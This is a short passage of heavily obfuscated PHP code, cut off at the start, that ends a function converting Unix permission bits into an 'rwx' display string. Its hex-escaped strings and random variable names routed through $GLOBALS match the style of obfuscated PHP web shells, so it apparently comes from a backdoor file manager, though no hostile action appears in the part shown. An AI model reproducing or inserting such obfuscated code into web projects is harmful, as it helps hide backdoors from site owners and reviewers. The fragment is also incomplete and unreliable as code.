7a"]}&0x0400)?"s":"x"):((${$uxrnovaqcoj}&0x0400)?"\x53":"-"));${${"\x47\x4cO\x42A\x4c\x53"}["h\x6e\x6f\x62\x62\x76wsr"]}.=((${${"\x47LOB\x41L\x53"}["\x68o\x7an\x63\x69"]}&0x0004)?"r":"-");${"\x47L\x4fB\x41\x4c\x53"}["\x65m\x75\x66\x67ew\x6ed\x63v"]="\x69\x6e\x66\x6f";${$vzwepzhkmxm}.=((${$vmhkqqxym}&0x0002)?"w":"-");${$rbxeiploee}.=((${$dfaekzvqlb}&0x0001)?((${$whcixnly}&0x0200)?"\x74":"x"):((${${"GLO\x42\x41L\x53"}["\x73n\x62\x6bxlv\x71m\x74r\x6b"]}&0x0200)?"T":"-"));return${${"\x47\x4c\x4f\x42A\x4cS"}["em\x75\x66g\x65\x77n\x64c\x76"]};}
?>